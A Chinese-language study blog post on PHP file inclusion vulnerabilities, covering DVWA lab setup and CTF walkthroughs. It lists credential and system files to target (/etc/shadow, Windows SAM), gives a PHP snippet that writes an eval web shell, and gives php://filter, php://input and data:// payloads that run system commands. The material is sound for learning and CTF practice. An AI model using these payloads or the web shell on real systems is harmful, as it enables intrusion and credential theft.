文件包含漏洞学习与实战——Sdegree
最近做题总是碰到文件包含漏洞,于是决定对这一知识点进行专门的突破和巩固。
一、对于文件包含漏洞的解释
文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,它通常出现在 Web 应用程序中。它的本质是由于应用程序对外部输入(比如用户输入)的信任不当而导致的。简单来说,当一个应用程序允许用户输入作为文件路径进行操作时,如果没有进行充分的验证和过滤,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。
常见的文件包含漏洞有两种类型:本地文件包含漏洞(Local File Inclusion,LFI)和远程文件包含漏洞(Remote File Inclusion,RFI)。本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件。而远程文件包含漏洞则是指攻击者能够通过将一个远程文件包含到应用程序中来执行任意代码,这种漏洞通常存在于动态包含外部资源的代码中。
攻击者可以利用文件包含漏洞来执行一系列的攻击,比如读取敏感文件、执行恶意代码、获取数据库信息等。因此,对于任何接受外部输入的应用程序,开发人员都应该严格过滤和验证输入数据,避免出现文件包含漏洞。同时,为了进一步保障应用程序的安全性,最好使用最小权限原则,即在文件系统和数据库中仅使用最小的权限来执行相关操作。
那么什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include(),
require(),
include_once(),
require_once()
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
漏洞成因分析
<?php
include $_GET['test'];
?>
<?php
phpinfo();
?>
利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
![TIB9YH36BL%4[NL]5C%]3.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679818053349-76138dff-8c32-4abb-9b9d-059910fc252c.png#averageHue=%23e1e1e0&clientId=u34bdd589-ac22-4&from=paste&height=366&id=u84d9acbb&originHeight=549&originWidth=773&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=100872&status=done&style=none&taskId=ub02bb19d-99cf-498a-b6dc-9cc4660190f&title=&width=515.3333333333334)
然而以下几种情况也可以解析:
将phpinfo.php文件后缀改为txt后进行访问
将phpinfo.php文件后缀改为jpg格式
这里就可以发现
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
所以这就是文件上传漏洞通常配合文件上传使用的原因。
二、漏洞1:本地文件包含漏洞(LFI)
<?php
$file=$_GET['filename'];
include($file);
?>
我们可以利用文件包含读取到一些php文件
我们甚至可以读取一些系统的敏感信息
如系统的配置器文件:C:\Windows\system.ini文件(很危险)
Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
三、LFI漏洞利用技巧
1、DVWA靶场的搭建
一、下载链接
本次dvwa安装在phpstudy下
dvwa安装包链接:
链接:https://pan.baidu.com/s/1vSNA87QVnXVzMWKdSdHcTQ?pwd=7b0j
提取码:7b0j
官网下载好像要挂梯子巨慢,这个是在CSDN上找到的一个网盘地址,比官网快
二、dvwa配置
下载后后解压文件到../www目录下
为了连接方便我改了一下文件名
不过这个版本的dvwa装好后需要改配置文件,我找了这篇文章
https://blog.csdn.net/weixin_58441533/article/details/120619237
他说的比较详细,可以根据他的方法改配置文件,改完就好了。
账号:admin
密码:password
然后就好了。
2、配合文件上传使用
安装好DVWA,我们将Security Level选择low,编辑一个图片木马
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
在文件上传模块上传
![BDVC_I}T)V6A_]HEKDVI~(Q.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679844703394-1b3334bf-6be6-478d-a340-8e5e7589fa54.png#averageHue=%23afb0aa&clientId=ue57bd8a7-9d2e-4&from=paste&height=445&id=u0f3753ab&originHeight=667&originWidth=1765&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=119708&status=done&style=none&taskId=uf281f90a-590e-4c97-99f6-23355cbf3eb&title=&width=1176.6666666666667)
这里记得把安全等级调到低,否则是无法上传成功的
![SM)FM9W2@]B(1XL1L0YI9.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679912120594-60394169-cc26-4946-bb2a-2a342e874062.png#averageHue=%23ebeae8&clientId=u6ac6c957-6850-4&from=paste&height=487&id=uc5b43901&originHeight=731&originWidth=1286&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=172103&status=done&style=none&taskId=udc0d4963-25d2-4a23-8c4b-13cf24d1d51&title=&width=857.3333333333334)
然后上传木马,这里上传成功后会显示文件路径
根据路径连接即可得到以下页面
该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件
<?
$file = $_GET['page'];
?>
实战直接替换为上述所写的一句话木马即可。
四、PHP伪协议
这里首先要学习php伪协议读文件
1.file://协议
条件:
allow_url_fopen : off/on
allow_url_include: off/on
作用:
用于访问本地文件系统,在ctf中通常用来读取本地文件
在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的
说明:
file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。
用法:
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
示例:
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://网络位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://协议
条件
allow_url_open : off/on
allow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on
作用
php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行php代码
说明
php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符
![PA_3L%L76SIUZAS6{_%ZWC.png
php://filter使用
php://filter/read=convert.base64-encode/resource=[文件名]
这个语句是利用LFI来查看源码
php://input的使用
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
3.data://协议
作用:
php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码
用法:
data://text/plain, ???
如:http://127.0.0.1/include.php?file=data://text/plain,
4.zip:// & bzip:// & zlib:// 协议
作用:
zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
五、一些简单的练习
1.[极客大挑战 2019]Secret File
![{2HS5B]VE[J6_{DFRVI{NJ.png
首先进入靶场,我们没有找到可以交互的地方,于是我们试着查看网页的源代码
![A[{JX]VGBV33B3L]@}R{%H.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1673119379263-67a19fb1-3209-4043-8d32-741d87fa64e9.png#averageHue=%23fefcfb&clientId=u0910139b-47d7-4&from=paste&height=81&id=ucb98d01e&originHeight=122&originWidth=1563&originalType=binary&ratio=1&rotation=0&showTitle=false&size=52735&status=done&style=none&taskId=u6cfd4ebb-2ea0-4e9d-9446-b21c087e2b6&title=&width=1042) 我们看到有一个php文件我们点击查看 进入了一个新的页面 ![Q3ONB7EUXZ[E9N1IN($R_JW.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1673119452272-fcc6500a-6c89-47c0-8c74-4ccbde2ea8d1.png#averageHue=%23140503&clientId=u0910139b-47d7-4&from=paste&height=348&id=u987d427e&originHeight=522&originWidth=840&originalType=binary&ratio=1&rotation=0&showTitle=false&size=23360&status=done&style=none&taskId=u8a3ebbac-72fc-4008-8801-222c6965dc0&title=&width=560) 看到有超级链接,我们继续点击 ![68
GU$@)K__V)B7M~N)Q5]8.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1673119524812-b976a6ee-8ca6-4ef0-8159-9ff7029ca36a.png#averageHue=%23070100&clientId=u0910139b-47d7-4&from=paste&height=299&id=u48487b2a&originHeight=449&originWidth=627&originalType=binary&ratio=1&rotation=0&showTitle=false&size=15997&status=done&style=none&taskId=u2f90b88f-0951-438d-aa27-3a97536bb52&title=&width=418)
说明有一个跳转极快的页面我们没有看到
于是我们试着用bp抓个包
看到了有一个被注释的文件
然后就是代码审计环节
这里看到有一个flag.php试着打开它
结果依旧没有flag
看来这道题需要运用伪协议
继续回到刚才的页面研究代码
既然是读取源码
我们使用php://filter/read=convert.base64-encode/resource=[文件名]语句
查看flag.php文件
于是我们输入?file=php://filter/read=convert.base64-encode/resource=flag.php
然后就出现了以下这一长串经过base64加密的代码
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MTkzYWExN2YtNjk0Yy00NTMzLWIwZTAtMTgwYjk3ODQzYmU5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
我们需要将它解密
得到flag
2.CTFshowWeb32
没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码
如果include被过滤了,可以用require来代替
![(SVI%WE)LBD9D]%$`AJQH_F.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679816541432-e6c73fdf-7347-4801-8dfe-533456976c50.png#averageHue=%236c89a0&clientId=u00e655bd-ef75-4&from=paste&height=438&id=uc40ac7cd&originHeight=657&originWidth=1224&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=217011&status=done&style=none&taskId=uc378b3fc-241a-45ae-8ee1-f5241f22d37&title=&width=816)
gpt的解释
3.CTFshowWeb78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这里使用
?file=php://filter/read=convert.base64-encode/resource=flag.php
两个都可以
?file=php://filter/convert.base64-encode/resource=flag.php
![5%_910_5]547JEAGSK3J870.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922302436-687fcf7b-1085-4e91-b3eb-da147fda9add.png#averageHue=%23aaaaa9&clientId=ube50a0b6-5121-4&from=paste&height=959&id=u2eb22936&originHeight=1439&originWidth=2560&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=344434&status=done&style=none&taskId=u940ed0c7-94da-47f4-ba9f-bf9ac2c52db&title=&width=1706.6666666666667)
方法2:
bp抓包,给file传参?file=php://input然后在post输出想要执行的代码
![B4_ID087IUC]R$29_JIJSRM.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922177462-558e988c-91ba-48b5-8e52-04bfa0af402d.png#averageHue=%23e6b08a&clientId=ube50a0b6-5121-4&from=paste&height=206&id=ua3325afb&originHeight=520&originWidth=1179&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=171117&status=done&style=none&taskId=ud35e456e-7db5-427c-b4d6-24f3b9b9825&title=&width=467)
![GUU8S1(ZX8@QI7WH]60A@V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922211335-3d9729d3-0a8f-4134-846e-6e427b65d309.png#averageHue=%23f9f5f5&clientId=ube50a0b6-5121-4&from=paste&height=97&id=u2e9ce82a&originHeight=146&originWidth=600&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=25549&status=done&style=none&taskId=u1dec0cfd-7797-4d7e-b429-fe4372d61c3&title=&width=400) ![X)V$5V(3K09T)M}Z
LI99G.png
4.CTFshowWeb79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:str_replace
str_replace — 子字符串替换
str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
payload:?file=data://text/plain,<?= system('tac flag.???');?>
逗号后面是要执行的php代码
或者
payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=
逗号后面是要执行的php代码的base64加密形式
注:data://可以用data:代替